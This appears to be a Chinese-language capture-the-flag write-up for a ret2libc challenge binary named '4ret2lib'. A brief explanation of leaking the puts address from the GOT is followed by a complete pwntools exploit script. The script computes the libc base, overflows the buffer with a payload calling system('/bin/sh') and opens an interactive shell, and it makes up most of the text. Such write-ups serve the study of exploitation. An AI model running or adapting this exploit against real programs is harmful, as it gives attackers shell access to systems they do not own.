check一下,发现开了NX
拖进ida,没有system和binsh
可以看到第一个输入,是输入一个10进制的地址,然后返回这个地址的内容给你,这就很容易想到,利用这个功能去把puts函数的真实地址打印出来,将把got表中的内容输出,有了puts函数的真实地址,然后在求出libc中各个函数的地址,算一下偏移量,就很容易得到system函数的真实地址,然后求出“/bin/sh”的地址,这样我们就可以拿到shell了
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./4ret2lib')
elf = ELF('./4ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
print str(puts_got)
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./4ret2lib')
elf = ELF('./4ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
print str(puts_got)
p.sendline(str(puts_got))
p.recvuntil(": ")
puts_addr = int(p.recv(10),16)
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next()
offset = puts_addr - puts_libc
system_addr = offset + system_libc
binsh_addr = offset + binsh_libc
payload = "A" * 60
payload += p32(system_addr) + 'b'*4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()